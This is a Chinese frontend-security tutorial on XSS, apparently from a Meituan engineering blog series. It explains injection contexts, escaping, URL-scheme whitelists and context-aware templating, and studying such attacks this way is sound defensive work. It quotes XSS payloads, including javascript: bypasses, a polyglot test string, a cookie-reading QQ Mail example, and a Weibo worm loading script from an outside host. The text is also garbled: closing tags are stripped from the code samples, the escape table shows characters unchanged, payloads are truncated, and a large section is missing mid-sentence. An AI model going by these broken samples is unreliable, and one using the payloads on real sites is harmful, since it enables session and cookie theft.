前端安全系列（一）：如何防止XSS攻击？

前端安全

随着互联网的高速发展，信息安全问题已经成为企业最为关注的焦点之一，而前端又是引发企业安全问题的高危据点。在移动互联网时代，前端人员除了传统的 XSS、CSRF 等安全问题之外，又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然，浏览器自身也在不断在进化和发展，不断引入 CSP、Same-Site Cookies 等新技术来增强安全性，但是仍存在很多潜在的威胁，这需要前端技术人员不断进行“查漏补缺”。

近几年，美团业务高速发展，前端随之面临很多安全挑战，因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案，将会做成一个系列，希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。

本文我们会讲解 XSS ，主要包括：

1. XSS 攻击的介绍
2. XSS 攻击的分类
3. XSS 攻击的预防和检测
4. XSS 攻击的总结
5. XSS 攻击案例

XSS 攻击的介绍

在开始本文之前，我们先提出一个问题，请判断以下两个说法是否正确：

1. XSS 防范是后端 RD（研发人员）的责任，后端 RD 应该在所有用户提交数据的接口，对敏感字符进行转义，才能进行下一步操作。
2. 所有要插入到页面上的数据，都要通过一个敏感字符过滤函数的转义，过滤掉通用的敏感字符后，就可以插入到页面中。

如果你还不能确定答案，那么可以带着这些问题向下看，我们将逐步拆解问题。

XSS 漏洞的发生和修复

XSS 攻击是页面被注入了恶意的代码，为了更形象的介绍，我们用发生在小明同学身边的事例来进行说明。

一个案例

某天，公司需要一个搜索页面，根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下：

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索button>
<div>
  您搜索的关键词是：<%= getParameter("keyword") %>
div>
复制代码

然而，在上线后不久，小明就接到了安全组发来的一个神秘链接：

http://xxx/search?keyword=">

小明带着一种不祥的预感点开了这个链接[请勿模仿，确认安全的链接才能点开]。果然，页面中弹出了写着"XSS"的对话框。

可恶，中招了！小明眉头一皱，发现了其中的奥秘：

当浏览器请求 http://xxx/search?keyword="> 时，服务端会解析出请求参数 keyword，得到 ">，拼接到 HTML 中返回给浏览器。形成了如下的 HTML：

<input type="text" value=""><script>alert('XSS');script>">
<button>搜索button>
<div>
  您搜索的关键词是："><script>alert('XSS');script>
div>
复制代码

浏览器无法分辨出 是恶意代码，因而将其执行。

这里不仅仅 div 的内容被注入了，而且 input 的 value 属性也被注入， alert 会弹出两次。

面对这种情况，我们应该如何进行防范呢？

其实，这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。

聪明的小明很快找到解决方法，把这个漏洞修复：

<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索button>
<div>
  您搜索的关键词是：<%= escapeHTML(getParameter("keyword")) %>
div>
复制代码

escapeHTML() 按照如下规则进行转义：

字符	转义后的字符
&	&
<	<
>	>
"	"
'	'
/	/

经过了转义函数的处理后，最终浏览器接收到的响应为：

<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索button>
<div>
  您搜索的关键词是："><script>alert('XSS');</script>
div>
复制代码

恶意代码都被转义，不再被浏览器执行，而且搜索词能够完美的在页面显示出来。

通过这个事件，小明学习到了如下知识：

• 通常页面中包含的用户输入内容都在固定的容器或者属性内，以文本的形式展示。
• 攻击者利用这些页面的用户输入片段，拼接特殊格式的字符串，突破原有位置的限制，形成了代码片段。
• 攻击者通过在目标网站上注入脚本，使之在用户的浏览器上运行，从而引发潜在风险。
• 通过 HTML 转义，可以防止 XSS 攻击。[事情当然没有这么简单啦！请继续往下看]。

注意特殊的 HTML 属性、JavaScript API

自从上次事件之后，小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置，让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦，于是小明的工作又渐渐变得轻松起来。

但是，作为导演的我，不可能让小明这么简单、开心地改 Bug 。

不久，小明又收到安全组的神秘链接：http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意，赶忙点开页面。然而，页面并没有自动弹出万恶的“XSS”。

小明打开对应页面的源码，发现有以下内容：

<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳转...a>
复制代码

这段代码，当攻击 URL 为 http://xxx/?redirect_to=javascript:alert('XSS')，服务端响应就成了：

<a href="javascript:alert('XSS')">跳转...a>
复制代码

虽然代码不会立即执行，但一旦用户点击 a 标签时，浏览器会就会弹出“XSS”。

可恶，又失策了...

在这里，用户的数据并没有在位置上突破我们的限制，仍然是正确的 href 属性。但其内容并不是我们所预期的类型。

原来不仅仅是特殊字符，连 javascript: 这样的字符串如果出现在特定的位置也会引发 XSS 攻击。

小明眉头一皱，想到了解决办法：

// 禁止 URL 以 "javascript:" 开头
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
  ">
    跳转...
  
} else {
  
    跳转...
  
}
复制代码

只要 URL 的开头不是 javascript:，就安全了吧？

安全组随手又扔了一个连接：http://xxx/?redirect_to=jAvascRipt:alert('XSS')

这也能执行？.....好吧，浏览器就是这么强大。

小明欲哭无泪，在判断 URL 开头是否为 javascript: 时，先把用户输入转成了小写，然后再进行比对。

不过，所谓“道高一尺，魔高一丈”。面对小明的防护策略，安全组就构造了这样一个连接：

http://xxx/?redirect_to=%20javascript:alert('XSS')

%20javascript:alert('XSS') 经过 URL 解析后变成 javascript:alert('XSS')，这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则，又成功的完成了注入。

最终，小明选择了白名单的方法，彻底解决了这个漏洞：

// 根据项目情况进行过滤，禁止掉 "javascript:" 链接、非法 scheme 等
allowSchemes = ["http", "https"];

valid = isValid(getParameter("redirect_to"), allowSchemes);

if (valid) {
  ">
    跳转...
  
} else {
  
    跳转...
  
}
复制代码

通过这个事件，小明学习到了如下知识：

• 做了 HTML 转义，并不等于高枕无忧。
• 对于链接跳转，如 或 location.href="xxx"，要检验其内容，禁止以 javascript: 开头的链接，和其他非法的 scheme。

根据上下文采用不同的转义规则

某天，小明为了加快网页的加载速度，把一个数据通过 JSON 的方式内联到 HTML 中：

<script>
var initData = <%= data.toJSON() %>
script>
复制代码

插入 JSON 的地方不能使用 escapeHTML()，因为转义 " 后，JSON 格式会被破坏。

但安全组又发现有漏洞，原来这样内联 JSON 也是不安全的：

• 当 JSON 中包含 U+2028 或 U+2029 这两个字符时，不能作为 JavaScript 的字面量使用，否则会抛出语法错误。
• 当 JSON 中包含字符串 时，当前的 script 标签将会被闭合，后面的字符串内容浏览器会按照 HTML 进行解析；通过增加下一个 \x3csVg/复制代码

  它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞，也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞，并且能绕过一些 XSS 过滤器。

  小明只要在网站的各输入框中提交这个字符串，或者把它拼接到 URL 参数上，就可以进行检测了。

  http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
  复制代码

  除了手动检测之外，还可以使用自动扫描工具寻找 XSS 漏洞，例如 Arachni、Mozilla HTTP Observatory、w3af 等。

  XSS 攻击的总结

  我们回到最开始提出的问题，相信同学们已经有了答案：

  1. XSS 防范是后端 RD 的责任，后端 RD 应该在所有用户提交数据的接口，对敏感字符进行转义，才能进行下一步操作。

  不正确。因为：

  • 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端，是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。
  • 转义应该在输出 HTML 时进行，而不是在提交用户输入时。

  1. 所有要插入到页面上的数据，都要通过一个敏感字符过滤函数的转义，过滤掉通用的敏感字符后，就可以插入到页面中。

  不正确。 不同的上下文，如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等，所需要的转义规则不一致。 业务 RD 需要选取合适的转义库，并针对不同的上下文调用不同的转义规则。

  整体的 XSS 防范是非常复杂和繁琐的，我们不仅需要在全部需要转义的位置，对数据进行对应的转义。而且要防止多余和错误的转义，避免正常的用户输入出现乱码。

  虽然很难通过技术手段完全避免 XSS，但我们可以总结以下原则减少漏洞的产生：

  • 利用模板引擎 开启模板引擎自带的 HTML 转义功能。例如： 在 ejs 中，尽量使用 <%= data %> 而不是 <%- data %>； 在 doT.js 中，尽量使用 {{! data } 而不是 {{= data }； 在 FreeMarker 中，确保引擎版本高于 2.3.24，并且选择正确的 freemarker.core.OutputFormat。
  • 避免内联事件 尽量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
  • 避免拼接 HTML 前端采用拼接 HTML 的方法比较危险，如果框架允许，使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架，如 Vue/React 等。
  • 时刻保持警惕 在插入位置为 DOM 属性、链接等位置时，要打起精神，严加防范。
  • 增加攻击难度，降低攻击后果 通过 CSP、输入长度配置、接口安全措施等方法，增加攻击的难度，降低攻击的后果。
  • 主动检测和发现 可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。

  XSS 攻击案例

  QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

  攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uin、domain 未经转义直接输出到 HTML 中。

  于是攻击者构建出一个 URL，并引导用户去点击： http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

  用户点击这个 URL 时，服务端取出 URL 参数，拼接到 HTML 响应中：

  <script>
  getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;script><script>alert(document.cookie)script>"+"...
  复制代码

  浏览器接收到响应后就会执行 alert(document.cookie)，攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ，进而危害数据安全。

  新浪微博名人堂反射型 XSS 漏洞

  攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。

  于是攻击者构建出一个 URL，然后诱导用户去点击：

  http://weibo.com/pub/star/g/xyyyd">

  用户点击这个 URL 时，服务端取出请求 URL，拼接到 HTML 响应中：

  <li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js>script>">按分类检索a>li>
  复制代码

  浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js，在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作，发出的微博和私信可再带上攻击 URL，诱导更多人点击，不断放大攻击范围。这种窃用受害者身份发布恶意内容，层层放大攻击范围的方式，被称为“XSS 蠕虫”。

  扩展阅读：Automatic Context-Aware Escaping

  上文我们说到：

  1. 合适的 HTML 转义可以有效避免 XSS 漏洞。
  2. 完善的转义库需要针对上下文制定多种规则，例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
  3. 业务 RD 需要根据每个插入点所处的上下文，选取不同的转义规则。

  通常，转义库是不能判断插入点上下文的（Not Context-Aware），实施转义规则的责任就落到了业务 RD 身上，需要每个业务 RD 都充分理解 XSS 的各种情况，并且需要保证每一个插入点使用了正确的转义规则。

  这种机制工作量大，全靠人工保证，很容易造成 XSS 漏洞，安全人员也很难发现隐患。

  2009年，Google 提出了一个概念叫做：Automatic Context-Aware Escaping。

  所谓 Context-Aware，就是说模板引擎在解析模板字符串的时候，就解析模板语法，分析出每个插入点所处的上下文，据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担，也减少了人为带来的疏漏。

  在一个支持 Automatic Context-Aware Escaping 的模板引擎里，业务 RD 可以这样定义模板，而无需手动实施转义规则：

  <html>
    <head>
      <meta charset="UTF-8">
      <title>{{.title}}title>
    head>
    <body>
      <a href="{{.url}}">{{.content}}a>
    body>
  html>
  复制代码

  模板引擎经过解析后，得知三个插入点所处的上下文，自动选用相应的转义规则：

  <html>
    <head>
      <meta charset="UTF-8">
      <title>{{.title | htmlescaper}}title>
    head>
    <body>
      <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}a>
    body>
  html>
  复制代码

  目前已经支持 Automatic Context-Aware Escaping 的模板引擎有：

  • go html/template
  • Google Closure Templates

  课后作业：XSS 攻击小游戏

  以下是几个 XSS 攻击小游戏，开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入，完成 XSS 攻击即可通关。

  在玩游戏的过程中，请各位读者仔细思考和回顾本文内容，加深对 XSS 攻击的理解。

  alert(1) to win prompt(1) to win XSS game

  参考文献

  • Wikipedia. Cross-site scripting, Wikipedia.
  • OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet, OWASP.
  • OWASP. Use the OWASP Java Encoder-Use-the-OWASP-Java-Encoder), GitHub.
  • Ahmed Elsobky. Unleashing an Ultimate XSS Polyglot, GitHub.
  • Jad S. Boutros. Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems, Google Security Blog.
  • Vue.js. v-html - Vue API docs, Vue.js.
  • React. dangerouslySetInnerHTML - DOM Elements, React.

  下期预告

  前端安全系列文章将对 XSS、CSRF、网络劫持、Hybrid 安全等安全议题展开论述。下期我们要讨论的是 CSRF 攻击，敬请关注。

  作者介绍

  李阳，美团点评前端工程师。2016年加入美团点评，负责美团外卖 Hybrid 页面性能优化相关工作。